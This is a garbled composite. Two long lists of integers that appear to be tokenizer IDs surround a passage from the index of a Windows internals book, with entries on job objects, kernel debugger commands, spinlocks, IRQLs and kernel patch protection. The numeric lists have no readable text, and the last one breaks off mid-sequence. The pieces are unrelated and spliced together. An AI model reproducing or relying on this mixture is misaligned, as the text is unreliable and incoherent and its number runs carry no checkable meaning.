[ 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 12787, 37224, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 25118, 285, 23345, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 15261, 8593, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 1374, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 10936, 15, 6293, 23971, 13, 46859, 41767, 187, 27209, 84, 313, 30933, 9762, 582, 11366, 1935, 46403, 32774, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 27209, 337, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 40844, 262, 1320, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 261, 17888, 13, 43529, 267, 38227, 313, 29481, 51, 582, 33941, 342, 2070, 505, 19178, 587, 463, 13, 6631, 1680, 17888, 13, 48483, 272, 44844, 187, 187, 565, 376, 14, 4537, 13, 48483, 272, 44844, 187, 10613, 13, 33941, 342, 2070, 505, 19178, 587, 463, 187, 16282, 26329, 1680, 17888, 13, 6631, 1680, 17888, 187, 35238, 13, 43529, 267, 38227, 313, 29481, 51, 10, 187, 1830, 51, 313, 30933, 2579, 10934, 582, 308, 1761, 5201, 81, 16464, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 30933, 1268, 13, 12873, 285, 35738, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 15905, 272, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 187, 4118, 500, 187, 187, 17455, 1789, 1511, 13, 16155, 44844, 187, 17455, 5113, 13, 25136, 16480, 272, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 13, 21591, 12285, 953, 13, 21591, 12285, 953, 13, 21591, 12285, 953, 187, 187, 17455, 5239, 13, 21591, 12285, 953, 187, 10423, 13, 31238, 13, 21591, 12285, 953, 187, 7404, 15890, 1491, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 46320, 2193, 13, 25136, 16480, 272, 187, 1374, 272, 13, 21591, 12285, 953, 187, 44144, 13, 12639, 265, 13, 22553, 84, 13, 285, 32254, 13, 17720, 4458, 46207, 23109, 6631, 187, 187, 17338, 13, 17720, 4458, 46207, 23109, 6631, 187, 187, 4118, 611, 187, 187, 44, 69, 15, 20963, 13, 26073, 3390, 29806, 323, 7464, 187, 9499, 9692, 16242, 16, 18992, 38115, 18703, 2214, 37, 5902, 8990, 13, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 187, 9499, 9692, 16242, 688, 15268, 13561, 2107, 38115, 18703, 1159, 13, 5376, 471, 7035, 2107, 33757, 39886, 187, 9499, 9692, 16242, 6504, 3787, 38115, 18703, 8990, 13, 33757, 39886, 187, 9499, 9692, 16242, 38115, 18703, 1159, 13, 33757, 39886, 187, 9499, 4717, 7761, 7456, 3235, 1159, 13, 4155, 6631, 5201, 81, 16464, 187, 9499, 6723, 3074, 34, 5902, 84, 47703, 1159, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 9499, 6723, 34, 5902, 84, 47703, 1159, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 9499, 15886, 8469, 13073, 26330, 13, 1284, 23078, 528, 18809, 9368, 46403, 84, 187, 9499, 10828, 14531, 12919, 1159, 13, 23266, 495, 35, 27, 42473, 253, 23280, 12639, 22483, 11122, 187, 9499, 6052, 630, 6998, 11909, 10934, 13, 427, 54, 3788, 13869, 187, 45948, 589, 375, 19676, 13, 8192, 251, 13, 12932, 2808, 251, 23280, 1320, 13, 11447, 8192, 251, 46854, 187, 187, 32423, 16, 3123, 2245, 313, 631, 11003, 582, 11447, 8192, 251, 46854, 187, 45948, 589, 375, 10030, 30313, 5197, 2579, 13, 11447, 8192, 251, 46854, 187, 9499, 18992, 688, 15268, 13561, 2107, 38115, 18703, 1159, 13, 5376, 471, 7035, 2107, 33757, 39886, 187, 9499, 18992, 6504, 3787, 38115, 18703, 8990, 13, 33757, 39886, 187, 9499, 18992, 38115, 18703, 1159, 13, 33757, 39886, 187, 22562, 13, 37880, 942, 285, 11405, 3617, 932, 13, 35052, 42372, 13, 35052, 42372, 13, 16048, 10994, 9170, 39552, 829, 272, 13, 16155, 13, 16155, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 11366, 1935, 15185, 13, 308, 1761, 5201, 81, 16464, 13, 308, 1761, 5201, 81, 16464, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 582, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 13, 19563, 5201, 81, 16464, 13, 19563, 5201, 81, 16464, 13, 14139, 8241, 1320, 13, 11578, 14, 3027, 6350, 14139, 8241, 1320, 13, 1737, 8714, 932, 271, 9206, 32215, 5128, 26253, 980, 13, 44913, 13, 3667, 621, 13, 285, 31965, 13, 2071, 10600, 13, 10535, 868, 13, 285, 19242, 13, 11447, 14, 10715, 26073, 3390, 13, 16676, 264, 30073, 20421, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 582, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 582, 42372, 273, 7464, 41827, 16292, 13, 46859, 41767, 13, 22553, 2077, 13, 30454, 34730, 285, 322, 6229, 34730, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 187, 26059, 4323, 13, 44913, 13, 3667, 621, 13, 285, 31965, 187, 23723, 4323, 13, 2071, 10600, 13, 10535, 868, 13, 285, 19242, 187, 1473, 17976, 14, 10050, 6661, 1329, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 19417, 13, 35052, 42372, 187, 3431, 34726, 5447, 13, 22553, 2077, 187, 3431, 34726, 5113, 13, 11578, 14, 3027, 6350, 14139, 8241, 1320, 13, 1737, 8714, 932, 271, 9206, 32, 187, 37, 5077, 5162, 13, 5201, 20559, 390, 3366, 13004, 18809, 9368, 313, 37, 5077, 10, 46403, 84, 187, 17440, 285, 40343, 38837, 13, 16676, 264, 30073, 20421, 187, 19681, 6293, 8869, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 10, 187, 22558, 35600, 285, 10885, 13, 19563, 5201, 81, 16464, 187, 911, 14233, 285, 11606, 84, 13, 32495, 875, 13, 308, 1761, 5201, 81, 16464, 187, 10984, 1935, 1329, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 30933, 5113, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 4348, 15824, 6974, 13, 5128, 26253, 980, 187, 10082, 780, 14978, 3470, 13, 14139, 8241, 1320, 187, 9744, 3788, 985, 1491, 13, 30454, 34730, 285, 322, 6229, 34730, 187, 25964, 13, 16155, 187, 631, 494, 19069, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 23171, 1453, 2919, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 39013, 6297, 13, 37880, 942, 285, 11405, 3617, 932, 187, 6549, 14, 2606, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 24606, 1430, 3386, 13, 16048, 10994, 9170, 39552, 829, 272, 187, 33385, 11606, 84, 13, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 34218, 6517, 10885, 13, 19563, 5201, 81, 16464, 187, 10394, 11606, 84, 13, 308, 1761, 5201, 81, 16464, 187, 11972, 11674, 12714, 13, 46859, 41767, 187, 11972, 27387, 13, 8869, 13, 285, 15056, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 10, 187, 187, 9, 2887, 671, 6293, 27387, 10, 187, 11972, 264, 399, 5077, 1329, 323, 7870, 26967, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 4537, 14, 9561, 33146, 1329, 13, 11447, 14, 10715, 26073, 3390, 187, 14877, 27387, 2127, 13, 42372, 273, 7464, 41827, 16292, 187, 89, 2691, 14, 6160, 19069, 13, 11366, 1935, 15185, 187, 22562, 7491, 1232, 13, 9182, 272, 285, 45464, 253, 38227, 187, 22562, 13844, 1063, 13, 11568, 3390, 715, 7464, 3749, 932, 13, 26073, 3390, 29806, 323, 7464, 13, 26073, 3390, 29806, 323, 7464, 13, 16155, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 13, 4155, 7733, 254, 22553, 84, 13, 7464, 11841, 2884, 3544, 13, 380, 38227, 35876, 4511, 285, 24636, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 22553, 41827, 16292, 13, 21591, 12285, 953, 13, 14391, 561, 13, 9044, 3666, 1687, 641, 285, 13135, 9175, 13, 26010, 399, 31785, 13, 427, 15857, 399, 31785, 187, 187, 2, 7404, 3923, 13, 5128, 26253, 980, 187, 44291, 13, 26073, 3390, 29806, 323, 7464, 187, 38, 28389, 5479, 4910, 13, 19703, 13, 5128, 26253, 980, 187, 12775, 13587, 285, 611, 39815, 13, 19703, 13, 5128, 26253, 980, 187, 9993, 4995, 5300, 13, 16485, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 24210, 13896, 13, 26073, 3390, 29806, 323, 7464, 187, 13393, 2829, 13, 14657, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 187, 17455, 5113, 13, 14657, 13, 21591, 12285, 953, 187, 2364, 1453, 8336, 13, 14657, 13, 380, 38227, 35876, 4511, 285, 24636, 187, 17921, 13, 16155, 187, 6577, 1830, 12949, 14, 4124, 13, 16485, 13, 427, 15857, 399, 31785, 187, 47, 85, 18590, 22532, 4778, 13, 14657, 285, 4758, 13, 7464, 11841, 2884, 3544, 187, 3246, 35, 13, 19703, 13, 5128, 26253, 980, 187, 2038, 17059, 13, 14657, 13, 22553, 41827, 16292, 187, 13980, 42785, 13, 14657, 13, 9044, 3666, 1687, 641, 285, 13135, 9175, 187, 10394, 12954, 17059, 13, 16485, 13, 4155, 7733, 254, 22553, 84, 187, 32423, 16, 3123, 2813, 5113, 13, 14657, 13, 26010, 399, 31785, 187, 5428, 35, 13, 46023, 13, 5128, 26253, 980, 187, 11972, 941, 5289, 13, 46023, 13, 5128, 26253, 980, 187, 45499, 13, 14657, 13, 14391, 561, 187, 22562, 33146, 13, 21856, 41769, 13, 26073, 3390, 29806, 323, 7464, 13, 26073, 3390, 29806, 323, 7464, 187, 187, 6790, 13, 26073, 3390, 29806, 323, 7464, 187, 10394, 417, 7491, 264, 275, 13844, 4438, 13, 26073, 3390, 29806, 323, 7464, 187, 22562, 27758, 5316, 13, 42372, 273, 7464, 41827, 16292, 13, 22553, 2077, 187, 187, 2038, 1753, 955, 13, 22553, 2077, 187, 22562, 2362, 30749, 13, 611, 7666, 11846, 1535, 4234, 187, 22562, 6016, 2829, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 13, 388, 422, 19662, 12285, 953, 187, 187, 31007, 288, 1644, 13, 5909, 13, 388, 422, 19662, 12285, 953, 187, 22562, 22139, 13, 8694, 2356, 12639, 265, 187, 22562, 2460, 13, 33968, 17842, 23472, 285, 13331, 25403, 621, 13, 9423, 264, 11103, 187, 187, 21542, 1973, 2715, 13, 9423, 264, 11103, 187, 8780, 285, 4771, 2715, 13, 33968, 17842, 23472, 285, 13331, 25403, 621, 187, 22562, 28822, 13, 611, 7666, 11846, 1535, 4234, 13, 611, 7666, 11846, 1535, 4234, 13, 611, 7666, 11846, 1535, 4234, 187, 187, 32423, 16, 3123, 2425, 13, 30749, 13, 611, 7666, 11846, 1535, 4234, 187, 20668, 5971, 13, 17690, 13, 611, 7666, 11846, 1535, 4234, 187, 22562, 4438, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 37880, 942, 285, 11405, 3617, 932, 13, 39439, 4155, 10031, 13, 8694, 2356, 12639, 265, 13, 416, 5077, 45211, 187, 187, 18641, 4870, 1329, 13, 8694, 2356, 12639, 265, 187, 48095, 1329, 13, 416, 5077, 45211, 187, 25974, 272, 281, 2608, 4438, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 187, 38561, 24629, 6307, 8714, 272, 313, 34297, 5166, 10, 3646, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 611, 7666, 45491, 17504, 187, 22562, 5113, 13, 9206, 15821, 187, 38561, 45491, 17504, 313, 44, 4785, 582, 9405, 20559, 15185, 187, 22562, 13732, 1453, 2972, 313, 44, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 187, 1374, 272, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 38561, 1294, 5073, 254, 313, 44, 1808, 4427, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 22562, 1753, 955, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 10, 187, 38561, 9044, 27048, 32911, 313, 44, 4538, 11927, 582, 9044, 4155, 3631, 8999, 187, 22562, 34577, 13, 611, 7666, 45491 ]	, Software Interrupt Request Levels (IRQLs) predefined, Software Interrupt Request Levels (IRQLs) raising and lowering, Software Interrupt Request Levels (IRQLs) save locations, Software Interrupt Request Levels (IRQLs) viewing, Software Interrupt Request Levels (IRQLs) vs. thread priorities, Priority Levels IRQs (interrupt requests), Hardware Interrupt Processing, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs) IRQ 1, Software Interrupt Request Levels (IRQLs) prioritization, Software Interrupt Request Levels (IRQLs) isolation, Transactional Registry (TxR), Running with Least Privilege, Service Isolation, Protecting Objects intra-user, Protecting Objects service, Running with Least Privilege Session Zero Isolation, Service Isolation transaction, Transactional Registry (TxR) ISR (interrupt service routine), Trap Dispatching, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs) interrupt level, connecting and disconnecting, Software Interrupt Request Levels (IRQLs) registering, Software Interrupt Request Levels (IRQLs) ### J job object type, Executive Objects job objects, Quantum Accounting, Dynamic Processor Addition and Replacement, Dynamic Processor Addition and Replacement, Job Limits, Job Limits, Job Limits job sets, Job Limits limits, specifying, Job Limits process accounting information, Dynamic Processor Addition and Replacement quantum values, Quantum Accounting viewing, Job Limits jobs, Processes, Threads, and Jobs, Background Intelligent Transfer Service transfer, Background Intelligent Transfer Service ### K Kd.exe, Debugging Tools for Windows KeAcquire/ReleaseSpinLockForDpc API, Dispatch or Deferred Procedure Call (DPC) Interrupts KeAcquireInStackQueuedSpinLock function, Instack Queued Spinlocks KeAcquireInterruptSpinLock API, Spinlocks KeAcquireSpinLock function, Spinlocks KeAddSystemServiceTable function, System Service Dispatching KeAreAllApcsDisabled function, Fast Mutexes and Guarded Mutexes KeAreApcsDisabled function, Fast Mutexes and Guarded Mutexes KeEnterGuardedRegion, Asynchronous Procedure Call Interrupts KeInitializeProcess function, Stage 3B: Creating the Initial Process Address Space KePerformGroupConfiguration routine, NUMA Systems Kerberos authentication, Logon, Winlogon Initialization, User Logon Steps TCP/IP port (port 88), User Logon Steps Kerberos Key Distribution Center service, User Logon Steps KeReleaseInStackQueuedSpinLock function, Instack Queued Spinlocks KeReleaseInterruptSpinLock API, Spinlocks KeReleaseSpinLock function, Spinlocks kernel, Requirements and Design Goals, Architecture Overview, Architecture Overview, Symmetric Multiprocessing, Executive, Executive, Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Hardware Support, Trap Dispatching, Trap Dispatching, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Dispatch or Deferred Procedure Call (DPC) Interrupts, Exception Dispatching, Exception Dispatching, Synchronization, Low-IRQL Synchronization, What Signals an Object?, Data Structures, Views, Regions, and Sections, Blobs, Handles, and Resources, User-Mode Debugging, Loaded Module Database, Worker Factories (Thread Pools), Worker Factories (Thread Pools), Overview of Windows Scheduling, Priority Levels, Thread States, Package Sets and SMT Sets, Dynamic Processor Addition and Replacement attributes management, Views, Regions, and Sections blob management, Blobs, Handles, and Resources daisy-chain configuration support, Software Interrupt Request Levels (IRQLs) design, Architecture Overview dispatcher database, Thread States dispatcher objects, Low-IRQL Synchronization, What Signals an Object? DPC processing, Dispatch or Deferred Procedure Call (DPC) Interrupts driver and DLL loader, Loaded Module Database dynamic thread creation, Worker Factories (Thread Pools) exception trapping and handling, Exception Dispatching exceptions and interrupts, distinguishing between, Trap Dispatching hardware support, Kernel Processor Control Region and Control Block (KPCR and KPRCB) interrupt objects, Software Interrupt Request Levels (IRQLs) lock ordering scheme, Data Structures mutual exclusion functions, Synchronization NUMA system information, Package Sets and SMT Sets objects, Executive portable interfaces, Kernel Processor Control Region and Control Block (KPCR and KPRCB) processor control region, Kernel Processor Control Region and Control Block (KPCR and KPRCB) protection mechanisms, Requirements and Design Goals real-time, Software Interrupt Request Levels (IRQLs) scalability features, Symmetric Multiprocessing software interrupts, Software Interrupt Request Levels (IRQLs) structured exception handling, Exception Dispatching system interrupts, Trap Dispatching thread priority assignment, Priority Levels thread scheduling, creation, and termination, Worker Factories (Thread Pools) (see also thread scheduling) threaded DPC support for dynamic processors, Dynamic Processor Addition and Replacement user-mode debugging support, User-Mode Debugging Windows scheduling code, Overview of Windows Scheduling x86-specific interfaces, Hardware Support kernel boot process, Viewing and Changing the Registry kernel debugger, Digging into Windows Internals, Debugging Tools for Windows, Debugging Tools for Windows, Executive, Object Handles and the Process Handle Table, Fast Mutexes and Guarded Mutexes, System Worker Threads, Windows Global Flags, The Registry Namespace and Operation, Data Structures, Data Structures, Data Structures, Data Structures, Data Structures, Data Structures, Thread Scheduling, Job Limits, Tokens, Security Descriptors and Access Control, Protocol Drivers, NDIS Drivers !process command, Data Structures commands, Debugging Tools for Windows EPROCESS fields, displaying, Data Structures ETHREAD and KTHREAD, displaying, Data Structures executive resources, listing, Fast Mutexes and Guarded Mutexes extension commands, Debugging Tools for Windows handle table, viewing, Object Handles and the Process Handle Table job objects, viewing, Job Limits key control blocks, viewing, The Registry Namespace and Operation library, Executive NDIS mini-ports, listing, NDIS Drivers NtGlobalFlag variable, viewing and setting, Windows Global Flags PEB, displaying, Data Structures ready threads, viewing, Thread Scheduling security descriptors, viewing, Security Descriptors and Access Control system worker threads, listing, System Worker Threads TCP/IP device objects, viewing, Protocol Drivers TEB, dumping, Data Structures thread data structures, dumping, Data Structures tokens, viewing, Tokens kernel debugging, Performance Monitor, Debugging Tools for Windows, Debugging Tools for Windows local, Debugging Tools for Windows system not booted in debug mode, Debugging Tools for Windows kernel dispatcher, Overview of Windows Scheduling, Thread States ready queues, Thread States kernel event tracing, Kernel Event Tracing kernel handle table, Object Handles and the Process Handle Table, Hive Size Limits registry hives, opening, Hive Size Limits kernel handles, Protected Processes kernel image, Differences Between Client and Server Versions, Checked Build checked build version, Checked Build client and server version, Differences Between Client and Server Versions kernel logger, Kernel Event Tracing, Kernel Event Tracing, Kernel Event Tracing TCP/IP activity, tracing, Kernel Event Tracing trace classes, enabling, Kernel Event Tracing kernel mode, Kernel Mode vs. User Mode, Kernel Mode vs. User Mode, Requirements and Design Goals, Operating System Model, Protected Processes, RPC Implementation protected processes support, Protected Processes RPC support, RPC Implementation transitioning to user mode, Kernel Mode vs. User Mode Kernel Mode Code Signing (KMCS) policy, Kernel Mode vs. User Mode, Kernel Patch Protection kernel objects, Object Manager Kernel Patch Protection (KPP), Hotpatch Support kernel processor control block (KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB) viewing, Kernel Processor Control Region and Control Block (KPCR and KPRCB) Kernel Profiler (Kernrate), Software Interrupt Request Levels (IRQLs) kernel queues, Worker Factories (Thread Pools) Kernel Security Device Driver (KSecDD), Security System Components kernel stacks, Kernel Patch
[ 14703, 7713, 10426, 323, 1892, 14, 6443, 1566, 2718, 403, 908, 281, 7568, 326, 13, 275, 253, 24622, 1083, 13, 6355, 3921, 4032, 560, 4622, 253, 28565, 387, 6486, 9208, 285, 326, 8091, 14, 13928, 35188, 2581, 685, 1048, 14, 88, 10415, 2849, 790, 1453, 370, 46, 9, 53, 1009, 387, 1698, 370, 53, 1352, 8, 187, 12025, 27, 187, 14, 686, 18333, 18, 5, 25508, 273, 17709, 13, 14614, 2499, 13, 21034, 16240, 13, 2949, 7543, 20680, 13, 5106, 8, 187, 14, 686, 18333, 19, 5, 10851, 435, 12263, 372, 401, 19637, 3737, 2745, 1954, 23616, 372, 826, 353, 727, 571, 12776, 561, 2960, 13, 12565, 10045, 5271, 3876, 3691, 372, 21924, 13, 21860, 24595, 26798, 13, 21924, 22121, 2537, 13, 11268, 8, 187, 7582, 27, 187, 14, 686, 34, 15, 575, 41, 15, 575, 13815, 16008, 18333, 18, 5, 285, 500, 15, 575, 43, 15, 575, 16281, 317, 3783, 15667, 18, 13, 19, 724, 8, 187, 5564, 27, 18482, 790, 285, 16194, 1109, 621, 275, 401, 3460, 267, 6696, 20496, 409, 1530, 1507, 187, 1532, 187, 187, 510, 1142, 14, 25268, 12057, 273, 767, 14, 6967, 313, 19, 37, 10, 6488, 2718, 275, 247, 2266, 20277, 5212, 1673, 310, 18839, 407, 253, 35915, 44877, 273, 247, 42005, 3961, 15, 5383, 3518, 275, 436, 985, 2550, 320, 4127, 12230, 3146, 285, 253, 7051, 985, 476, 2826, 275, 581, 273, 247, 5235, 683, 69, 515, 1513, 522, 1763, 91, 2788, 62, 273, 1327, 14, 39, 693, 74, 14, 38390, 3054, 13, 7293, 327, 253, 42005, 1268, 12868, 2803, 669, 3023, 426, 427, 16, 47, 1126, 2162, 3363, 313, 4943, 370, 47, 5, 310, 253, 1180, 273, 14465, 13, 370, 47, 1126, 2162, 94, 426, 329, 378, 1227, 393, 6065, 64, 17, 370, 310, 253, 44877, 273, 253, 42005, 3961, 13, 370, 34, 5, 310, 253, 985, 2170, 13, 370, 35, 5, 310, 253, 5212, 1673, 4757, 13, 285, 669, 6065, 64, 17, 5, 310, 253, 6488, 5212, 8868, 6318, 2698, 3824, 1600, 1060, 310, 275, 253, 2266, 8388, 409, 36488, 4816, 52, 30, 47, 16, 19, 7884, 3054, 534, 2826, 387, 669, 3023, 426, 337, 16, 78, 5, 285, 669, 3023, 426, 374, 428, 18, 16, 78, 5, 323, 8909, 20935, 370, 78, 1352, 683, 3610, 72, 1240, 1222, 3305, 62, 9535, 275, 841, 3054, 556, 8228, 342, 253, 2440, 273, 19790, 683, 7912, 12436, 39209, 62, 285, 643, 683, 977, 62, 5609, 534, 1581, 253, 5508, 14, 30362, 292, 1320, 370, 46, 9, 53, 1009, 285, 643, 5508, 14, 6820, 3607, 281, 320, 4080, 15, 20539, 4102, 13, 5661, 941, 327, 370, 46, 9, 53, 1009, 556, 644, 2130, 760, 387, 669, 3023, 426, 337, 5, 1375, 15, 496, 436, 1083, 370, 46, 9, 53, 1009, 4558, 1781, 387, 9208, 370, 53, 5, 973, 1840, 253, 7728, 11155, 3276, 370, 53, 64, 91, 426, 305, 17840, 94, 393, 1906, 64, 35, 378, 16, 465, 64, 35, 209, 187, 61, 8275, 393, 3442, 64, 91, 16, 76, 64, 35, 13355, 313, 4943, 669, 1906, 64, 35, 5, 310, 253, 6488, 39878, 83, 10973, 251, 285, 370, 72, 17840, 724, 310, 253, 3167, 10236, 305, 14, 19012, 2698, 380, 1246, 789, 310, 17194, 407, 747, 5661, 1543, 683, 2009, 1221, 555, 1079, 62, 534, 921, 326, 323, 669, 3023, 426, 18, 16, 20, 1366, 1097, 253, 5281, 273, 253, 370, 46, 9, 53, 1009, 6970, 285, 253, 3276, 4311, 327, 534, 370, 46, 5, 15323, 281, 1355, 2193, 403, 12059, 15, 380, 8103, 273, 436, 789, 310, 281, 5513, 436, 3064, 327, 247, 18276, 1268, 15, 844, 12661, 326, 253, 3064, 310, 1955, 281, 27697, 273, 253, 2954, 875, 12786, 2849, 251, 285, 8091, 14, 13928, 16820, 14120, 285, 4499, 253, 22973, 12057, 273, 6318, 6696, 8388, 409, 1530, 1507, 387, 7007, 285, 24622, 12868, 2616, 13, 407, 16585, 253, 3607, 273, 1892, 14, 6443, 1566, 2718, 15, 14703, 7713, 10426, 323, 841, 3210, 403, 908, 281, 7568, 326, 13, 275, 253, 24622, 1083, 13, 6355, 3921, 4032, 560, 4622, 253, 28565, 387, 6486, 9208, 15, 1889, 514, 16421, 1320, 10426, 323, 15958, 5016, 3210, 1329, 253, 30437, 273, 1892, 14, 6443, 1566, 18276, 15711, 281, 5661, 2718, 15, 187, 187, 688, 253, 6318, 6696, 9459, 13, 253, 17818, 2341, 1307, 275, 253, 14342, 19413, 760, 949, 253, 7658, 326, 253, 18745, 14465, 1364, 7027, 275, 253, 8840, 2130, 18290, 42005, 1268, 15, 831, 7658, 310, 954, 34090, 27810, 275, 253, 13123, 11206, 683, 14152, 276, 2706, 62, 323, 534, 253, 4136, 2014, 14, 25268, 45228, 403, 48843, 273, 370, 45, 64, 91, 5, 285, 452, 253, 830, 1764, 2162, 64, 78, 9, 91, 10, 426, 393, 1124, 92, 91, 63, 78, 18424, 19, 768, 78, 12, 18, 94, 393, 2059, 278, 2, 7415, 18, 16, 19, 599, 393, 4347, 313, 428, 1040, 91, 10819, 19, 16, 21, 10, 187, 61, 1968, 92, 4093, 2003, 2138, 835, 370, 91, 426, 1269, 428, 891, 340, 5, 310, 253, 2570, 374, 37, 13249, 13, 370, 78, 426, 470, 13, 18, 13, 393, 5589, 1157, 427, 1126, 2162, 14, 18, 724, 285, 359, 452, 6777, 669, 437, 393, 8275, 5081, 13861, 260, 1227, 70, 378, 7415, 18, 16, 19, 724, 347, 253, 3943, 273, 2978, 15, 367, 3514, 273, 14465, 671, 452, 760, 581, 2130, 4103, 3200, 1375, 323, 1016, 12336, 10254, 13, 669, 2162, 64, 78, 768, 1661, 1603, 91, 14, 91, 3401, 426, 393, 2162, 64, 78, 4464, 91, 14, 91, 8, 32615, 2609, 92, 19, 94, 32615, 2609, 92, 19, 3363, 13162, 253, 5016, 1307, 275, 253, 14342, 310, 4336, 7943, 407, 253, 388, 8950, 1351, 10585, 43191, 15738, 683, 250, 649, 1368, 8950, 1351, 62, 370, 55, 64, 78, 393, 8275, 393, 4841, 393, 2162, 64, 78, 768, 1661, 94, 1040, 657, 9, 83, 10, 1040, 393, 2162, 64, 78, 768, 1661, 94, 393, 3799, 1352, 1198, 15958, 5016, 3210, 13, 370, 55, 64, 78, 5, 12075, 41907, 1037, 342, 370, 78, 1352, 48281, 12057, 275, 253, 6318, 6696, 9459, 310, 2223, 4217, 314, 9713, 407, 7296, 1892, 14, 6443, 3210, 835, 760, 253, 8840, 1643, 370, 55, 64, 78, 5, 403, 1327, 14, 10528, 13, 285, 370, 55, 578, 78, 12, 18, 9228, 55, 578, 78, 724, 310, 1355, 2217, 326, 1016, 20946, 10585, 43191, 1624, 13067, 247, 4858, 2341, 4311, 285, 501, 14503, 253, 1142, 14, 25268, 2341, 6637, 625, 25806, 15, 187, 187, 34, 4217, 11259, 310, 253, 1892, 14, 6443, 1566, 342, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 5, 29607, 1781, 285, 512, 643, 10585, 38332, 15738, 873, 281, 5058, 15, 1198, 436, 1566, 13, 6486, 2341, 48843, 7933, 452, 5058, 5912, 10896, 323, 4560, 8557, 273, 14465, 275, 3054, 342, 4103, 12336, 38054, 370, 17, 5, 285, 370, 18, 1366, 285, 3103, 476, 320, 3542, 275, 253, 830, 683, 29050, 1402, 28, 1214, 69, 9877, 1513, 12727, 62, 1764, 8616, 60, 91, 62, 426, 393, 2760, 60, 393, 11510, 578, 74, 29, 75, 1990, 47, 94, 313, 91, 64, 74, 428, 1182, 64, 75, 4800, 19, 393, 2760, 62, 393, 8616, 17840, 94, 544, 91, 62, 187, 61, 1968, 92, 87, 17, 87, 18, 48808, 2138, 835, 669, 8616, 17840, 11326, 91, 8795, 310, 247, 1142, 14, 71, 693, 279, 5508, 263, 15, 3932, 253, 4869, 2014, 14, 25268, 370, 78, 5, 387, 669, 3023, 426, 337, 16, 20, 5, 310, 370, 47, 1126, 2162, 